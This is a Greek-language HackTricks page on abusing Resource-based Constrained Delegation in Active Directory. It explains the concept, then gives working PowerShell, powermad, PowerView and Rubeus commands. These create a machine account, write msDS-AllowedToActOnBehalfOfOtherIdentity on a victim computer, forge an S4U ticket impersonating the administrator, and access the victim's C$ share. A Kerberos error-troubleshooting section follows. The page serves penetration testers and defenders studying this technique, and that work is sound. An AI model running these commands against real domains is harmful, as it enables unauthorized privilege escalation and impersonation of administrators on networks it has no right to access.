Resource-based Constrained Delegation

Support HackTricks

Βασικές Αρχές της Resource-based Constrained Delegation

Αυτό είναι παρόμοιο με την βασική Constrained Delegation αλλά αντί να δίνει δικαιώματα σε ένα αντικείμενο να παριστάνει οποιονδήποτε χρήστη απέναντι σε μια υπηρεσία. Η Resource-based Constrained Delegation ορίζει στο αντικείμενο ποιος μπορεί να παριστάνει οποιονδήποτε χρήστη απέναντί του.

Σε αυτή την περίπτωση, το περιορισμένο αντικείμενο θα έχει ένα χαρακτηριστικό που ονομάζεται msDS-AllowedToActOnBehalfOfOtherIdentity με το όνομα του χρήστη που μπορεί να παριστάνει οποιονδήποτε άλλο χρήστη απέναντί του.

Μια άλλη σημαντική διαφορά από αυτή την Constrained Delegation σε άλλες delegations είναι ότι οποιοσδήποτε χρήστης με δικαιώματα εγγραφής σε έναν λογαριασμό μηχανής (_GenericAll/GenericWrite/WriteDacl/WriteProperty κ.λπ.) μπορεί να ορίσει το msDS-AllowedToActOnBehalfOfOtherIdentity (Σε άλλες μορφές Delegation χρειάζεστε δικαιώματα διαχειριστή τομέα).

Νέες Έννοιες

Στην Constrained Delegation είχε αναφερθεί ότι η TrustedToAuthForDelegation σημαία μέσα στην τιμή userAccountControl του χρήστη είναι απαραίτητη για να εκτελέσετε ένα S4U2Self. Αλλά αυτό δεν είναι εντελώς αλήθεια. Η πραγματικότητα είναι ότι ακόμη και χωρίς αυτή την τιμή, μπορείτε να εκτελέσετε ένα S4U2Self απέναντι σε οποιονδήποτε χρήστη αν είστε μια υπηρεσία (έχετε ένα SPN) αλλά, αν έχετε TrustedToAuthForDelegation το επιστρεφόμενο TGS θα είναι Forwardable και αν δεν έχετε αυτή τη σημαία το επιστρεφόμενο TGS δεν θα είναι Forwardable.

Ωστόσο, αν το TGS που χρησιμοποιείται στο S4U2Proxy είναι NOT Forwardable προσπαθώντας να εκμεταλλευτείτε μια βασική Constrain Delegation δεν θα λειτουργήσει. Αλλά αν προσπαθείτε να εκμεταλλευτείτε μια Resource-Based constrain delegation, θα λειτουργήσει (αυτό δεν είναι ευπάθεια, είναι χαρακτηριστικό, προφανώς).

Δομή Επίθεσης

Αν έχετε ισοδύναμα δικαιώματα εγγραφής σε έναν λογαριασμό Υπολογιστή μπορείτε να αποκτήσετε προνομιακή πρόσβαση σε αυτή τη μηχανή.

Ας υποθέσουμε ότι ο επιτιθέμενος έχει ήδη ισοδύναμα δικαιώματα εγγραφής πάνω στον υπολογιστή του θύματος.

  1. Ο επιτιθέμενος παραβιάζει έναν λογαριασμό που έχει ένα SPN ή δημιουργεί έναν (“Υπηρεσία A”). Σημειώστε ότι οποιοσδήποτε Διαχειριστής Χρήστης χωρίς καμία άλλη ειδική προνομία μπορεί να δημιουργήσει μέχρι 10 αντικείμενα Υπολογιστή (MachineAccountQuota) και να τους ορίσει ένα SPN. Έτσι, ο επιτιθέμενος μπορεί απλά να δημιουργήσει ένα αντικείμενο Υπολογιστή και να ορίσει ένα SPN.

  2. Ο επιτιθέμενος καταχράται το δικαίωμα ΕΓΓΡΑΦΗΣ του πάνω στον υπολογιστή του θύματος (ΥπηρεσίαB) για να ρυθμίσει resource-based constrained delegation ώστε να επιτρέψει στην ΥπηρεσίαA να παριστάνει οποιονδήποτε χρήστη απέναντι σε αυτόν τον υπολογιστή του θύματος (ΥπηρεσίαB).

  3. Ο επιτιθέμενος χρησιμοποιεί το Rubeus για να εκτελέσει μια πλήρη επίθεση S4U (S4U2Self και S4U2Proxy) από την Υπηρεσία A στην Υπηρεσία B για έναν χρήστη με προνομιακή πρόσβαση στην Υπηρεσία B.

  4. S4U2Self (από τον λογαριασμό SPN που παραβιάστηκε/δημιουργήθηκε): Ζητήστε ένα TGS του Διαχειριστή για μένα (Not Forwardable).

  5. S4U2Proxy: Χρησιμοποιήστε το μη Forwardable TGS του προηγούμενου βήματος για να ζητήσετε ένα TGS από τον Διαχειριστή προς τον υπολογιστή θύμα.

  6. Ακόμη και αν χρησιμοποιείτε ένα μη Forwardable TGS, καθώς εκμεταλλεύεστε την Resource-based constrained delegation, θα λειτουργήσει.

  7. Ο επιτιθέμενος μπορεί να περάσει το εισιτήριο και να παριστάνει τον χρήστη για να αποκτήσει πρόσβαση στην ΥπηρεσίαB του θύματος.

Για να ελέγξετε το MachineAccountQuota του τομέα μπορείτε να χρησιμοποιήσετε:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Επίθεση

Δημιουργία Αντικειμένου Υπολογιστή

Μπορείτε να δημιουργήσετε ένα αντικείμενο υπολογιστή μέσα στο τομέα χρησιμοποιώντας powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

# Check if created
Get-DomainComputer SERVICEA

Ρύθμιση Resource-based Constrained Delegation

Χρησιμοποιώντας το module PowerShell του activedirectory

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Χρησιμοποιώντας το powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Εκτέλεση πλήρους επίθεσης S4U

Πρώτα απ' όλα, δημιουργήσαμε το νέο αντικείμενο Υπολογιστή με τον κωδικό πρόσβασης 123456, οπότε χρειαζόμαστε το hash αυτού του κωδικού πρόσβασης:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Αυτό θα εκτυπώσει τους κατακερματισμούς RC4 και AES για αυτόν τον λογαριασμό. Τώρα, η επίθεση μπορεί να εκτελεστεί:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Μπορείτε να δημιουργήσετε περισσότερα εισιτήρια απλά ζητώντας μία φορά χρησιμοποιώντας την παράμετρο /altservice του Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

Σημειώστε ότι οι χρήστες έχουν ένα χαρακτηριστικό που ονομάζεται "Δεν μπορεί να ανατεθεί". Εάν ένας χρήστης έχει αυτό το χαρακτηριστικό σε True, δεν θα μπορείτε να τον προσποιηθείτε. Αυτή η ιδιότητα μπορεί να προβληθεί μέσα στο bloodhound.

Πρόσβαση

Η τελευταία γραμμή εντολών θα εκτελέσει την πλήρη επίθεση S4U και θα εισάγει το TGS από τον Διαχειριστή στον θύμα υπολογιστή στη μνήμη. Σε αυτό το παράδειγμα ζητήθηκε ένα TGS για την υπηρεσία CIFS από τον Διαχειριστή, οπότε θα μπορείτε να έχετε πρόσβαση στο C$:

ls \\victim.domain.local\C$

Κατάχρηση διαφόρων υπηρεσιών εισιτηρίων

Μάθετε για τα διαθέσιμα εισιτήρια υπηρεσιών εδώ.

Σφάλματα Kerberos

  • KDC_ERR_ETYPE_NOTSUPP: Αυτό σημαίνει ότι το kerberos είναι ρυθμισμένο να μην χρησιμοποιεί DES ή RC4 και παρέχετε μόνο το hash RC4. Παρέχετε στο Rubeus τουλάχιστον το hash AES256 (ή απλά παρέχετε τα hashes rc4, aes128 και aes256). Παράδειγμα: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())

  • KRB_AP_ERR_SKEW: Αυτό σημαίνει ότι η ώρα του τρέχοντος υπολογιστή είναι διαφορετική από αυτήν του DC και το kerberos δεν λειτουργεί σωστά.

  • preauth_failed: Αυτό σημαίνει ότι το δεδομένο όνομα χρήστη + hashes δεν λειτουργούν για είσοδο. Ίσως να ξεχάσατε να βάλετε το "$" μέσα στο όνομα χρήστη κατά την παραγωγή των hashes (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local)

  • KDC_ERR_BADOPTION: Αυτό μπορεί να σημαίνει:

  • Ο χρήστης που προσπαθείτε να προσποιηθείτε δεν μπορεί να έχει πρόσβαση στην επιθυμητή υπηρεσία (επειδή δεν μπορείτε να τον προσποιηθείτε ή επειδή δεν έχει αρκετά δικαιώματα)

  • Η ζητούμενη υπηρεσία δεν υπάρχει (αν ζητήσετε ένα εισιτήριο για winrm αλλά το winrm δεν εκτελείται)

  • Ο ψεύτικος υπολογιστής που δημιουργήθηκε έχει χάσει τα δικαιώματά του πάνω στον ευάλωτο διακομιστή και πρέπει να τα επαναφέρετε.

Αναφορές

Υποστήριξη HackTricks

Last updated